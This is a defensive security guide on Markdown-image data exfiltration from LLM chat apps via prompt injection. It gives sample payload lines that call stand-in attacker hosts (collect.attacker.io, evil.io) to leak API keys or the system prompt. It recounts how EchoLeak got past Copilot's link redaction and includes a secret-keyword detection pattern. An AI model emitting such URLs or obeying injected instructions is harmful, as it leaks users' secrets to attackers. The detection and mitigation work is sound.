Data Exfiltration via Image URL

An AI agent encodes sensitive data into a Markdown image URL and the chat UI auto-loads it, leaking data to an attacker's server. How to detect the gadget and break the chain.

Fastest fix: strip every image and link whose host is not on your allowlist from model output before it reaches the renderer, and ship a Content-Security-Policy header that limits img-src and connect-src to your own domains. Either control alone is bypassable; together they break the chain even if an injection slips through.

A prompt injection hidden in a fetched web page, a PDF, or pasted content tells the model to put a tag like ![loading](https://collect.attacker.io/steal?d=YOUR_API_KEY) in its reply. When the chat UI renders that Markdown, the browser fires a GET to the attacker’s server, carrying the secret in the query string. The user sees a broken-image icon; the attacker reads the data in their access log. This “Markdown image exfiltration gadget” needs two things to work: an injection that makes the model emit the tag, and a UI that auto-renders Markdown and auto-loads external images. Break either link and the data stays put.

This is not theoretical. EchoLeak (CVE-2025-32711, CVSS 9.3), disclosed and patched by Microsoft in June 2025, was a zero-click version of exactly this attack against Microsoft 365 Copilot: a single crafted email chained an injection past the classifier and exfiltrated internal data through an auto-fetched image, with no user click required. The class also drives the ChatGPhish technique published in May 2026, where a summarized web page poisons ChatGPT’s own response renderer. OWASP ranks the root cause — Prompt Injection — as LLM01:2025, and the rendering flaw that lets the payload fire as LLM05:2025 (Improper Output Handling). Treat this as a known, reproducible vulnerability class, not an edge case.

Which bucket are you in?

SymptomMost likely causeGo to
Broken-image icon in a reply, unexpected GET in DevTools NetworkUI auto-loads external images, no output scanSteps 1-4
Outbound request to a non-app domain with a long Base64/hex query valueInjection encoded context into the URLSteps 1, 5
Request fires from your server or an email client, not the browserServer-side or email renderingSteps 1-2
Suspicious URL in a fetch/tool-call argument, no image in proseTool-call exfiltration, bypasses Markdown defensesStep 1 + Prevention
Reply renders <img> you never sent, or a hidden display:none imageRenderer processes inline HTMLStep 4

Common causes

1. Markdown rendering is enabled in the chat UI without URL sanitization

The most common enabler. Markdown rendering is a legitimate feature, but it makes the browser auto-issue a GET for every image tag the model outputs, including attacker-constructed ones.

How to spot it: open browser DevTools, switch to the Network tab during a chat session, and watch the requests fired when a reply renders. Any GET to a non-application domain that the user did not explicitly trigger is suspicious. Filter by “Img” to isolate image loads.

2. The model was told by injection to produce the exfiltration URL

Exfiltration never happens without a prior injection. The injection arrives through indirect channels — fetched pages, PDFs, uploaded files, pasted text — and instructs the model to embed context variables into an image URL.

How to spot it: search the model’s raw output (before rendering) for Markdown image syntax: ![. If the image URL contains what looks like encoded session data, user text, or environment-variable values, the injection landed.

3. Model output is not scanned before rendering

The application pipes the model response straight into a Markdown renderer with no check for outbound URLs. The scan step that would catch the payload was never built.

How to spot it: trace the data flow from model API response to the user’s screen. If no step inspects model output for external URLs before rendering, the gap exists.

4. The query parameter is Base64- or URL-encoded to dodge naive matching

Injection authors encode the payload to slip past keyword filters:

![x](https://evil.io?d=c3lzdGVtUHJvbXB0Cg==)

Decoding the parameter yields systemPrompt\n, confirming exfiltration was intended.

How to spot it: your scanner must URL-decode and Base64-decode query parameter values before pattern-matching, not just grep the raw URL string. Also flag query values that are simply high-entropy (long random-looking strings) even when they do not decode to a known keyword — that is how encoded secrets look.

Some renderers process HTML-in-Markdown, allowing image, anchor, or styled tags with external URLs:

<img src="https://evil.io?data=SECRET" style="display:none">

A display:none image still fires its request. The same applies to a CSS url() in an inline style, and to reference-style Markdown links, which were used in EchoLeak to evade link redaction.

How to spot it: check whether your Markdown renderer processes inline HTML. If it does, any src, href, or CSS url() in model output can trigger an outbound request.

6. The exfiltration URL rides in a tool-call argument, not prose

The model emits a tool call (for example fetch_url) with the attacker’s URL as the argument, encoding data in the path or query. This bypasses every Markdown-rendering defense.

How to spot it: log all tool-call arguments. Scan them for URLs with suspicious query parameters, especially values whose length and entropy match known secrets or session data.

Shortest path to fix

Step 1: Scan model output for outbound URLs before rendering

import { URL } from "url";

const ALLOWED_IMAGE_DOMAINS = new Set(["cdn.yourapp.com", "assets.yourapp.com"]);

function extractUrls(markdownText: string): string[] {
  const urlPattern = /https?:\/\/[^\s\)"']+/g;
  return markdownText.match(urlPattern) ?? [];
}

function containsExternalImage(markdown: string): boolean {
  const imgPattern = /!\[.*?\]\((https?:\/\/[^)]+)\)/g;
  let match;
  while ((match = imgPattern.exec(markdown)) !== null) {
    try {
      const hostname = new URL(match[1]).hostname;
      if (!ALLOWED_IMAGE_DOMAINS.has(hostname)) {
        return true; // external image found
      }
    } catch {
      return true; // malformed URL — flag it
    }
  }
  return false;
}

const rawOutput = modelResponse.choices[0].message.content ?? "";
if (containsExternalImage(rawOutput)) {
  logger.error({ event: "exfiltration_gadget_detected", preview: rawOutput.slice(0, 400) });
  // Strip the image tags before rendering (Step 2)
}

Step 2: Strip all external image tags from model output

function stripExternalImages(markdown: string, allowedDomains: Set<string>): string {
  return markdown.replace(/!\[([^\]]*)\]\((https?:\/\/[^)]+)\)/g, (match, alt, url) => {
    try {
      const hostname = new URL(url).hostname;
      if (allowedDomains.has(hostname)) return match; // keep allowed images
    } catch { /* fall through */ }
    return `[image removed: ${alt}]`; // replace with safe placeholder
  });
}

Do the same for autolinks and reference-style links, not just inline images. EchoLeak got past Microsoft’s link redaction precisely by using the reference-style [text][ref] form instead of inline links, so an allowlist that only matches [text](url) will miss it.

Step 3: Enforce a Content Security Policy that blocks unexpected sources

// Express middleware example
app.use((req, res, next) => {
  res.setHeader(
    "Content-Security-Policy",
    "default-src 'self'; img-src 'self' cdn.yourapp.com data:; connect-src 'self' api.yourapp.com; script-src 'self';"
  );
  next();
});

Lock down connect-src as well as img-src — otherwise the model can fall back to fetch()-style exfiltration even when images are blocked. The browser then refuses to load images or open connections to domains outside the list, even if the renderer passes the tag through. Keep data: in img-src only if you actually render inline data-URI images; it is not itself an exfiltration channel. CSP is a backstop, not a complete fix: tight rendering allowlists still matter because a CSP cannot stop the model from generating the tag, and many CSP setups have bypass gadgets.

Step 4: Disable inline HTML in your Markdown renderer

import { marked } from "marked";

// Disable HTML so <img src=...> tags cannot be injected via Markdown
marked.setOptions({ mangle: false, headerIds: false });
const renderer = new marked.Renderer();
renderer.html = () => ""; // strip inline HTML entirely

const safeHtml = marked(rawOutput, { renderer });

Prefer a purpose-built sanitizer (DOMPurify with a strict tag/attribute allowlist) over hand-rolled stripping for anything that ends up as live HTML.

Step 5: Scan Base64-encoded and high-entropy query parameters

function hasEncodedExfiltration(url: string): boolean {
  try {
    const parsed = new URL(url);
    for (const [, value] of parsed.searchParams) {
      // 1) decode and keyword-match
      const decoded = Buffer.from(value, "base64").toString("utf8");
      if (/api.?key|secret|token|password|system.?prompt/i.test(decoded)) return true;
      // 2) flag suspiciously long, high-entropy values even if they don't decode
      if (value.length >= 24 && /^[A-Za-z0-9+/=_-]+$/.test(value)) return true;
    }
  } catch { /* not a valid URL */ }
  return false;
}

Step 6: Log all URLs in model output for forensics

function logOutputUrls(output: string, sessionId: string): void {
  const urls = extractUrls(output);
  if (urls.length > 0) {
    logger.info({ event: "model_output_urls", sessionId, urls });
  }
}

How to confirm it’s fixed

  1. Put ![test](https://webhook.site/YOUR-UNIQUE-ID) into a model reply (mock the response or use a test injection) and render it. Open the webhook.site dashboard: no request should arrive. If one does, your scan or CSP is not catching it.
  2. Open DevTools, Network tab, filter to “Img”, and confirm zero requests fire to non-allowlisted hosts when a poisoned reply renders.
  3. Repeat with a reference-style link [x][1] plus [1]: https://webhook.site/YOUR-ID and with an inline <img src="https://webhook.site/YOUR-ID"> to confirm both bypass forms are blocked.
  4. Check your logs: the exfiltration_gadget_detected event should fire for each blocked attempt, so you have an alerting signal, not just silent suppression.

Prevention

  • Keep a strict CSP limiting img-src and connect-src to known domains; it breaks the browser-side request even if a tag renders.
  • Scan all model output for external URLs before rendering, and strip or allowlist them — including reference-style links and autolinks.
  • Disable inline HTML in the renderer; prefer DOMPurify with a strict allowlist.
  • Treat every indirect content source (fetched URLs, PDFs, uploaded files, search snippets) as a potential injection vector and scan it before it enters the model context.
  • Log all URLs in model output and retain logs (for example 30 days) for retrospective incident analysis.
  • Extend URL scanning to tool-call arguments, not just prose — the same gadget works through fetch-type tools.
  • Alert on any reply containing more than a configured number of external URLs per session (more than 2 is anomalous for most apps).
  • If you proxy images, fetch and cache them server-side so the user’s browser never connects to the source host directly — the image-proxy approach major vendors adopted after these disclosures.

FAQ

Q: Does this work in server-side rendering, where no browser is involved? A: Yes. If the server renders the Markdown and stores the HTML, or emails it with image loading on, the GET fires from the server or the email client instead of the browser. Server-side rendering also adds SSRF exposure since the request now comes from your infrastructure. The same URL-scanning mitigation applies; server rendering is not a defense by itself.

Q: My app returns raw text and never renders Markdown — am I safe from this exact gadget? A: From the image variant, mostly yes: unrendered text loads no images. But a tool-call exfiltration still works if the model calls a fetch-type tool with the attacker’s URL, so scan tool-call arguments too. Also re-check every place the text is later rendered: previews, PDF/HTML exports, notification emails.

Q: Can a CSP header stop this on its own? A: A well-configured CSP stops the browser from loading external images, but it does not stop the model from generating the tag, and CSPs have well-documented bypass gadgets. Keep output scanning so you can detect and alert on the attempt even when CSP blocks the request. Lock down connect-src, not just img-src.

Q: Will DOMPurify alone block it? A: No. DOMPurify removes XSS vectors like <script>, but a plain <img> is valid HTML it keeps by default. Add FORBID_TAGS: ['img'] (or restrict img src to your allowlist) or filter image URLs in a custom Markdown renderer before sanitizing.

Q: The vendors already patched this (EchoLeak, ChatGPT’s url_safe) — do I still need to? A: Yes. Those fixes protect the vendors’ own first-party UIs (Microsoft’s June 2025 server-side patch for CVE-2025-32711; OpenAI’s url_safe allowlisting added around August 2025). They do nothing for your app built on the API. You render model output yourself, so you own this control.

Q: Is this a known, documented attack? A: Yes. Researchers have demonstrated the Markdown exfiltration gadget publicly since 2023 across Bing Chat, ChatGPT, Claude, Bard/Gemini, NotebookLM, and Copilot Chat. It maps to OWASP LLM01:2025 (Prompt Injection) as the root and LLM05:2025 (Improper Output Handling) as the rendering flaw, and the EchoLeak CVE made it a real-world, scored vulnerability.

Tags: #ai-security #prompt-injection #Troubleshooting